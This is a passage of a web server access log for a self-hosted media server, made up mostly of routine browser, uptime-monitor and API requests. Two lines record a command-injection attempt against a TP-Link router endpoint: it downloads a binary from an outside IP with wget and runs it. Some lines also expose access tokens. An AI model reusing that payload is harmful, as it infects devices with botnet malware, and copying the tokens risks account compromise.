-0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +173.173.43.116 - - [01/Jun/2024:13:38:40 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +107.207.166.165 - - [01/Jun/2024:13:38:41 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.37 - - [01/Jun/2024:13:38:41 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +107.207.166.165 - - [01/Jun/2024:13:38:43 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.37 - - [01/Jun/2024:13:38:43 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +88.99.26.177 - - [01/Jun/2024:13:38:45 -0500] "GET / HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +104.164.173.19 - - [01/Jun/2024:13:38:45 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:38:46 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:38:47 -0500] "GET / HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +104.164.173.14 - - [01/Jun/2024:13:38:47 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.19 - - [01/Jun/2024:13:38:47 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:38:47 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:38:48 -0500] "GET / HTTP/1.1" 307 5 "-" "Uptime-Kuma/1.23.13" +104.164.173.14 - - [01/Jun/2024:13:38:48 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:38:48 -0500] "GET /login HTTP/1.1" 200 231766 "-" "Uptime-Kuma/1.23.13" +91.243.50.206 - - [01/Jun/2024:13:38:51 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:51 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:51 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:51 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:51 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:52 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:52 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:52 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:52 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:52 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:52 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:52 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +91.243.50.206 - - [01/Jun/2024:13:38:52 -0500] "GET / HTTP/1.1" 400 150 "-" "-" +104.164.173.112 - - [01/Jun/2024:13:38:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.103 - - [01/Jun/2024:13:38:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.59 - - [01/Jun/2024:13:38:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.112 - - [01/Jun/2024:13:38:57 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.146 - - [01/Jun/2024:13:38:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.124 - - [01/Jun/2024:13:38:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.95 - - [01/Jun/2024:13:38:57 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.146 - - [01/Jun/2024:13:38:57 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.95 - - [01/Jun/2024:13:38:57 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.59 - - [01/Jun/2024:13:38:57 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.103 - - [01/Jun/2024:13:38:57 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.124 - - [01/Jun/2024:13:38:57 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:00 -0500] "GET /g/home HTTP/1.1" 200 4562 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:39:07 -0500] "GET / HTTP/1.1" 302 5 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:39:07 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Uptime-Kuma/1.23.13" +88.99.26.177 - - [01/Jun/2024:13:39:09 -0500] "GET / HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:39:09 -0500] "GET / HTTP/1.1" 401 157 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +192.168.0.105 - - [01/Jun/2024:13:39:11 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:39:11 -0500] "GET /web/ HTTP/1.1" 200 8893 "-" "Uptime-Kuma/1.23.13" +192.168.0.126 - - [01/Jun/2024:13:39:17 -0500] "GET /api/v1/command HTTP/2.0" 200 1056 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:39:17 -0500] "GET /api/v1/command HTTP/2.0" 200 1056 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:21 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:39:21 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Uptime-Kuma/1.23.13" +88.99.26.177 - - [01/Jun/2024:13:39:23 -0500] "GET / HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:39:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:39:24 -0500] "GET / HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:39:25 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:39:25 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:29 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:39:29 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 10082 "-" "Uptime-Kuma/1.23.13" +88.99.26.177 - - [01/Jun/2024:13:39:30 -0500] "GET / HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:39:31 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:39:31 -0500] "GET / HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +88.99.26.177 - - [01/Jun/2024:13:39:32 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36" +192.168.0.105 - - [01/Jun/2024:13:39:36 -0500] "GET /web/index.html HTTP/1.1" 200 13048 "-" "Uptime-Kuma/1.23.13" +179.43.185.130 - - [01/Jun/2024:13:39:36 -0500] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.238%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 301 162 "-" "Go-http-client/1.1" +179.43.185.130 - - [01/Jun/2024:13:39:37 -0500] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.238%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 200 1384 "http://72.179.167.199:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.238%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)" "Go-http-client/1.1" +154.28.229.41 - - [01/Jun/2024:13:39:43 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.41 - - [01/Jun/2024:13:39:43 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:48 -0500] "GET / HTTP/1.1" 307 5 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:39:48 -0500] "GET /login HTTP/1.1" 200 231774 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:39:54 -0500] "POST /signalr/messages/negotiate?access_token=760b6730464c443ab89bbcc96bc0b581&negotiateVersion=1 HTTP/2.0" 200 316 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:54 -0500] "POST /signalr/messages/negotiate?access_token=f2da8472eb4343beb32e6e04798f953d&negotiateVersion=1 HTTP/2.0" 200 217 "https://movies.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:54 -0500] "GET /api/v3/health HTTP/2.0" 200 712 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:54 -0500] "GET /api/v3/health HTTP/2.0" 200 1736 "https://movies.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:54 -0500] "GET /api/v3/command HTTP/2.0" 200 12266 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:54 -0500] "GET /api/v3/queue/status HTTP/2.0" 200 117 "https://movies.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:55 -0500] "GET /api/v3/command HTTP/2.0" 200 1082 "https://movies.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:55 -0500] "GET /api/v3/queue/status HTTP/2.0" 200 153 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:57 -0500] "GET /api/v3/health HTTP/2.0" 200 1728 "https://movies.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:39:59 -0500] "GET /api/v3/series HTTP/2.0" 200 8101060 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:00 -0500] "GET /g/home HTTP/1.1" 200 4562 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:40:01 -0500] "GET /api/v3/movie HTTP/2.0" 200 12999013 "https://movies.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.105 - - [01/Jun/2024:13:40:07 -0500] "GET / HTTP/1.1" 302 5 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:40:07 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:40:11 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:40:11 -0500] "GET /web/ HTTP/1.1" 200 8893 "-" "Uptime-Kuma/1.23.13" +154.28.229.7 - - [01/Jun/2024:13:40:15 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.29 - - [01/Jun/2024:13:40:15 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.7 - - [01/Jun/2024:13:40:15 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.29 - - [01/Jun/2024:13:40:15 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.97 - - [01/Jun/2024:13:40:15 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.36 - - [01/Jun/2024:13:40:15 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.170 - - [01/Jun/2024:13:40:15 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.36 - - [01/Jun/2024:13:40:15 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.97 - - [01/Jun/2024:13:40:15 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.170 - - [01/Jun/2024:13:40:15 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:40:19 -0500] "GET / HTTP/2.0" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:19 -0500] "POST /signalr/messages/negotiate?access_token=760b6730464c443ab89bbcc96bc0b581&negotiateVersion=1 HTTP/2.0" 200 316 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:19 -0500] "GET /api/v3/health HTTP/2.0" 200 712 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:19 -0500] "GET /api/v3/command HTTP/2.0" 200 13895 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:20 -0500] "GET /api/v3/queue/status HTTP/2.0" 200 153 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:21 -0500] "GET /api/v3/command HTTP/2.0" 200 13973 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:21 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:40:21 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:40:21 -0500] "GET /api/v3/series HTTP/2.0" 200 8101060 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:22 -0500] "GET /api/v3/queue/details?all=true HTTP/2.0" 200 469009 "https://tv.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - faiyt [01/Jun/2024:13:40:27 -0500] "GET / HTTP/2.0" 502 552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:29 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:40:29 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 10082 "-" "Uptime-Kuma/1.23.13" +192.168.0.126 - faiyt [01/Jun/2024:13:40:30 -0500] "GET /favicon.ico HTTP/2.0" 502 552 "https://usenet.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +154.28.229.96 - - [01/Jun/2024:13:40:31 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.96 - - [01/Jun/2024:13:40:31 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +192.168.0.105 - - [01/Jun/2024:13:40:36 -0500] "GET /web/index.html HTTP/1.1" 200 13048 "-" "Uptime-Kuma/1.23.13" +192.168.0.126 - - [01/Jun/2024:13:40:47 -0500] "GET /api/v1/command HTTP/2.0" 200 837 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:40:47 -0500] "GET /api/v1/command HTTP/2.0" 200 837 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:40:47 -0500] "GET /api/v1/command HTTP/2.0" 200 837 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:40:48 -0500] "GET / HTTP/1.1" 307 5 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:40:48 -0500] "GET /login HTTP/1.1" 200 231774 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:41:00 -0500] "GET /g/home HTTP/1.1" 200 4562 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:41:07 -0500] "GET / HTTP/1.1" 302 5 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:41:07 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:41:11 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:41:11 -0500] "GET /web/ HTTP/1.1" 200 8893 "-" "Uptime-Kuma/1.23.13" +192.168.0.126 - - [01/Jun/2024:13:41:17 -0500] "GET /api/v1/command HTTP/2.0" 200 926 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +72.179.167.199 - - [01/Jun/2024:13:41:21 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:41:21 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:41:29 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:41:29 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 10082 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:41:36 -0500] "GET /web/index.html HTTP/1.1" 200 13048 "-" "Uptime-Kuma/1.23.13" +46.174.191.28 - - [01/Jun/2024:13:41:44 -0500] "GET / HTTP/1.0" 301 162 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" +72.179.167.199 - - [01/Jun/2024:13:41:48 -0500] "GET / HTTP/1.1" 307 5 "-" "Uptime-Kuma/1.23.13" +72.179.167.199 - - [01/Jun/2024:13:41:48 -0500] "GET /login HTTP/1.1" 200 231877 "-" 